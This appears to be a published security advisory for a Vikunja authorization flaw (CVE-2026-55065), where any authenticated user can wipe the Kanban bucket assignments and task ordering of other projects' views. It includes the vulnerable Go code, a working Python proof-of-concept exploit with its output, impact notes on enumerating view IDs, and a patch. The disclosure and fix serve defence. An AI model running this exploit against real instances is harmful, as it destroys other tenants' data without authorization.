GHSA-gg93-x632-9ccv CVE-2026-55065 GO-2026-6313
Vikunja vulnerable to Improper Authorization and Authorization Bypass Through User-Controlled Key
- Severity
- 8.1 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.50%
- Chance of exploitation in the next 30 days. Higher than 43.12% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
2.4.0- Upgrade code.vikunja.io/api to this version or later
Description
Summary
A user with only a single self-owned project can permanently destroy the Kanban bucket assignments (task_buckets) and task ordering (task_positions) of any other project view in the entire instance. The ProjectView.Delete model method runs three SQL statements: the first is properly scoped to (view_id, project_id), but the next two cascading deletes on task_buckets and task_positions filter only on the URL-supplied project_view_id. The permission check (CanDelete) gates on Admin of the URL :project but never confirms that the URL :view actually belongs to that project.
Details
ProjectView.Delete (file: pkg/models/project_view.go, line 250) cascades on the bare pv.ID for the second and third deletes, ignoring pv.ProjectID:
func (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {
_, err = s.
Where("id = ? AND project_id = ?", pv.ID, pv.ProjectID). // (a) scoped — OK
Delete(&ProjectView{})
if err != nil {
return
}
_, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskBucket{}) // (b) UNSCOPED
if err != nil {
return
}
_, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskPosition{}) // (c) UNSCOPED
return
}
pv.ID and pv.ProjectID come straight from the URL path via c.Bind — see the param tags on the struct (pkg/models/project_view.go, lines 133–137):
type ProjectView struct {
ID int64 `xorm:"autoincr not null unique pk" json:"id" param:"view"`
...
ProjectID int64 `xorm:"not null index" json:"project_id" param:"project"`
...
}
The route is registered with both params in pkg/routes/routes.go, line 791:
a.DELETE("/projects/:project/views/:view", projectViewProvider.DeleteWeb)
CanDelete (file: pkg/models/project_view_permissions.go, line 38) gates only on Admin of the URL :project:
func (pv *ProjectView) CanDelete(s *xorm.Session, a web.Auth) (bool, error) {
if isInstanceAdmin(s, a) {
return true, nil
}
filterID := GetSavedFilterIDFromProjectID(pv.ProjectID)
if filterID > 0 { ... }
pp := pv.getProject() // = &Project{ID: pv.ProjectID} (URL path)
return pp.IsAdmin(s, a) // only checks admin on URL :project
}
There is no check that the view (pv.ID) actually belongs to that project. The first SQL inside Delete (the WHERE id = ? AND project_id = ? clause) compensates for the project_views table only. xorm silently returns 0 affected rows on a mismatch — no error — and the function continues. The next two statements then run unconditionally on pv.ID alone.
Why other neighbouring code paths are not vulnerable, for context:
Bucket.canDoBucket(pkg/models/kanban_permissions.go, line 46) loads the bucket from the DB and re-couples the URL project viaGetProjectViewByIDAndProject(viewID, projectID), whichWHERE id = ? AND project_id = ?— mismatched URL:projectreturns an error. Safe.ProjectView.Update(pkg/models/project_view.go, line 412) calls the sameGetProjectViewByIDAndProjectbefore applying the update. Safe.Project.UpdateProjectcascades uses.In("project_view_id", viewIDs).Delete(&Bucket{})(pkg/models/project.go, line 1396) whereviewIDsis loaded from the DB inside an authorised project-delete context. Safe.
The same shape (load-by-URL-id, then cascade-without-coupling) was the root cause of GHSA-jfmm-mjcp-8wq2 (attachment IDOR) and GHSA-2vq4-854f-5c72 (project reparenting). The view-delete cascade has not been audited the same way.
PoC
Prerequisites
- An authenticated account on the target Vikunja instance. No special role is required — local-auth registration is enough; the attacker becomes Admin of any project they create via the
OwnerIDfield set inCreateProject(pkg/models/project.go, line 1021). - Knowledge of any victim view ID. View IDs are auto-increment integers (
autoincron theidcolumn), so guessing or sequential enumeration suffices. If the attacker is a member of any other project, they can list view IDs viaGET /api/v1/projects/:project/views.
Attack Steps
# As the attacker, with valid JWT:
PUT /api/v1/projects -> create throwaway project (ID = P_A)
DELETE /api/v1/projects/P_A/views/V -> V is ANY view ID in the instance
The server returns HTTP 200 {"message":"Successfully deleted."} even when V is not in P_A. The first scoped delete matches 0 rows silently; the second and third unscoped deletes wipe task_buckets and task_positions for view V.
The view itself is not deleted. Tasks themselves are not deleted. But the Kanban layout (which task is in which column) and the manual ordering are destroyed and there is no recovery path short of restoring from backup.
Proof of Concept Script
#!/usr/bin/env python3
"""
PoC: Cross-project destruction of task_buckets / task_positions via ProjectView.Delete
Target: Vikunja
Severity: HIGH - CVSS 8.1
CWE-639: Authorization Bypass Through User-Controlled Key
Usage:
python3 poc.py http://localhost:3456
"""
import requests
import sys
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:3456")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v1"
VICTIM_USER = "victim_poc"
VICTIM_PASS = "VictimPocPassword!2025"
ATTACKER_USER = "attacker_poc"
ATTACKER_PASS = "AttackerPocPassword!2025"
BANNER = """
=====================================================================
PoC: Cross-Project Kanban Destruction via ProjectView.Delete
Severity: HIGH (CVSS 8.1)
CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)
# ---- Helpers ----
def register(username, password):
requests.post(f"{API}/register", json={
"username": username,
"email": f"{username}@poc.local",
"password": password,
}) # ignore 400 if user already exists
def login(username, password):
r = requests.post(f"{API}/login", json={
"username": username, "password": password,
})
r.raise_for_status()
return r.json()["token"]
def auth(token):
return {"Authorization": f"Bearer {token}",
"Content-Type": "application/json"}
# ---- Victim setup: project + kanban view + tasks + bucket assignments ----
print("[*] Setting up VICTIM (target)")
register(VICTIM_USER, VICTIM_PASS)
vt = login(VICTIM_USER, VICTIM_PASS)
# Create a project (kanban view + default buckets are created automatically).
proj = requests.put(f"{API}/projects",
headers=auth(vt),
json={"title": "Victim Project"}).json()
victim_pid = proj["id"]
# Find the auto-created kanban view.
views = requests.get(f"{API}/projects/{victim_pid}/views",
headers=auth(vt)).json()
kanban_view = next(v for v in views if v["view_kind"] == "kanban")
victim_vid = kanban_view["id"]
# Drop a few tasks into the project — Vikunja will auto-place them in the
# default bucket of the kanban view, populating `task_buckets`.
task_ids = []
for i in range(3):
t = requests.put(f"{API}/projects/{victim_pid}/tasks",
headers=auth(vt),
json={"title": f"Victim task {i}"}).json()
task_ids.append(t["id"])
# Touching the view via the bucket endpoint forces task_position rows to
# materialise. Read the buckets-with-tasks endpoint once.
requests.get(
f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
headers=auth(vt),
)
# Confirm the kanban state has populated buckets+tasks.
buckets = requests.get(
f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
headers=auth(vt),
).json()
total_tasks_before = sum(len(b.get("tasks") or []) for b in buckets)
print(f"[*] Victim project={victim_pid}, view={victim_vid}, "
f"tasks_in_buckets BEFORE = {total_tasks_before}")
assert total_tasks_before > 0, "PoC requires at least 1 task in the kanban"
# ---- Attacker setup: a throwaway project owned by the attacker ----
print("\n[*] Setting up ATTACKER (any user can do this)")
register(ATTACKER_USER, ATTACKER_PASS)
at = login(ATTACKER_USER, ATTACKER_PASS)
p_a = requests.put(f"{API}/projects",
headers=auth(at),
json={"title": "Attacker Throwaway"}).json()
attacker_pid = p_a["id"]
print(f"[*] Attacker project = {attacker_pid} "
f"(attacker is Admin via OwnerID)")
# ---- ATTACK ----
print(f"\n{'='*65}")
print(f" ATTACK: trainer-equivalent — wipe victim's kanban via own project")
print(f"{'='*65}")
resp = requests.delete(
f"{API}/projects/{attacker_pid}/views/{victim_vid}",
headers=auth(at),
)
print(f"\n DELETE /api/v1/projects/{attacker_pid}/views/{victim_vid}")
print(f" (Logged in as: {ATTACKER_USER}, "
f"who is NOT a member of victim project {victim_pid})")
print(f" Response: HTTP {resp.status_code} body={resp.text!r}")
# ---- VERIFY ----
print(f"\n{'='*65}")
print(f" VERIFICATION")
print(f"{'='*65}")
# View must still exist (the scoped first delete didn't match).
views_after = requests.get(f"{API}/projects/{victim_pid}/views",
headers=auth(vt)).json()
view_still_there = any(v["id"] == victim_vid for v in views_after)
# But the buckets-with-tasks should now be empty (task_buckets wiped).
buckets_after = requests.get(
f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
headers=auth(vt),
).json()
total_tasks_after = sum(len(b.get("tasks") or []) for b in buckets_after)
print(f"\n View {victim_vid} still exists? {view_still_there}")
print(f" Tasks in buckets BEFORE attack: {total_tasks_before}")
print(f" Tasks in buckets AFTER attack: {total_tasks_after}")
if view_still_there and total_tasks_after == 0 and total_tasks_before > 0:
print("""
+-----------------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| An unrelated user destroyed every task->bucket assignment |
| and every task position in another user's kanban view, using |
| only a self-owned throwaway project as the URL :project. |
| |
| - The view itself survives (first scoped delete matched 0). |
| - Tasks themselves survive. |
| - task_buckets and task_positions for the view are gone. |
| - Recovery requires restoring from backup. |
+-----------------------------------------------------------------+
""")
else:
print("\n Attack did not land — patched build or unexpected state.")
Proof of Concept Output
=====================================================================
PoC: Cross-Project Kanban Destruction via ProjectView.Delete
Severity: HIGH (CVSS 8.1)
CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
[*] Setting up VICTIM (target)
[*] Victim project=42, view=87, tasks_in_buckets BEFORE = 3
[*] Setting up ATTACKER (any user can do this)
[*] Attacker project = 43 (attacker is Admin via OwnerID)
=================================================================
ATTACK: trainer-equivalent — wipe victim's kanban via own project
=================================================================
DELETE /api/v1/projects/43/views/87
(Logged in as: attacker_poc, who is NOT a member of victim project 42)
Response: HTTP 200 body='{"message":"Successfully deleted."}'
=================================================================
VERIFICATION
=================================================================
View 87 still exists? True
Tasks in buckets BEFORE attack: 3
Tasks in buckets AFTER attack: 0
+-----------------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| An unrelated user destroyed every task->bucket assignment |
| and every task position in another user's kanban view, using |
| only a self-owned throwaway project as the URL :project. |
| |
| - The view itself survives (first scoped delete matched 0). |
| - Tasks themselves survive. |
| - task_buckets and task_positions for the view are gone. |
| - Recovery requires restoring from backup. |
+-----------------------------------------------------------------+
Impact
-
Cross-tenant data destruction. Any authenticated user — local-auth registration is enough on default deployments — can wipe the
task_bucketsandtask_positionsrows for any view in the instance. There is no requirement to be a member of, or share anything with, the victim project. -
Permanent loss without backup. Tasks and views survive, but every Kanban-column assignment and every manual ordering position for the targeted view is destroyed. Vikunja has no per-row recovery path; the only way back is restoring the database (or
task_buckets/task_positionstables) from backup. -
Trivial discovery. View IDs are auto-increment integers. An attacker can wipe every view in the instance by iterating
1..N, callingDELETE /api/v1/projects/<own-project>/views/<i>for each. Each request is a 200 OK regardless of whether the view existed in the attacker's project — so the attacker can't even tell which IDs were "real" without watching for victim complaints. -
Multi-tenant SaaS impact. On hosted Vikunja deployments (e.g.
try.vikunja.io-style setups), a single sign-up suffices to destroy Kanban layouts of every other tenant on the same instance.
Fix
Either gate the cascading deletes on whether the scoped first delete matched, or re-couple (view_id, project_id) inside the cascading queries.
Minimal patch — pkg/models/project_view.go, inside Delete():
func (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {
affected, err := s.
Where("id = ? AND project_id = ?", pv.ID, pv.ProjectID).
Delete(&ProjectView{})
if err != nil {
return
}
if affected == 0 {
// Either the view doesn't exist, or it doesn't belong to pv.ProjectID.
// Either way, do not cascade — return an error so the API responds 404.
return ErrProjectViewDoesNotExist{ProjectViewID: pv.ID}
}
if _, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskBucket{}); err != nil {
return
}
_, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskPosition{})
return
}
This makes the cascade conditional on the scoped delete actually having matched a row. As a defence-in-depth follow-up, CanDelete should also load the view and verify view.ProjectID == pv.ProjectID before granting permission, so the 404 path in Delete becomes a backstop rather than the only line of defence — mirroring the pattern used by Bucket.canDoBucket and ProjectView.Update elsewhere in the same file.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.vikunja.io/api | >= 0.24.6, < 2.4.0 |
2.4.0 |
| code.vikunja.io/api | >= 0.24.6 |
No fix yet |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.vikunja.io/api Go → 2.4.0
- go
go get code.vikunja.io/api@v2.4.0 && go mod tidy
Severity breakdown
CVSS 3.1 8.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- High
Weakness
CWE-285: Improper Authorization
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CWE-639: Authorization Bypass Through User-Controlled Key
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
How to prevent it
- Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
- Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
- Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-m687-p538-r5hp Vikunja: Permissive Cross-domain Security Policy trusts every localhost origin which should not be trusted | Medium | Also affects code.vikunja.io/api |
| GHSA-fmmf-xq98-g327 Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check | Medium | Also affects code.vikunja.io/api |
| GHSA-pjr3-86v4-5p7w Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0) | Medium | Also affects code.vikunja.io/api |
| GHSA-hjx8-qv73-f7cm Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed | High | Also affects code.vikunja.io/api |
| GHSA-fprf-r6rv-xg99 Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants | Medium | Also affects code.vikunja.io/api |
| GHSA-4hv6-xc92-j86g Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes | High | Also affects code.vikunja.io/api |
| GHSA-w2ch-4xgr-22ww Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal | Low | Also affects code.vikunja.io/api |
| GHSA-8wvg-r2j4-3737 Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint | Medium | Also affects code.vikunja.io/api |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor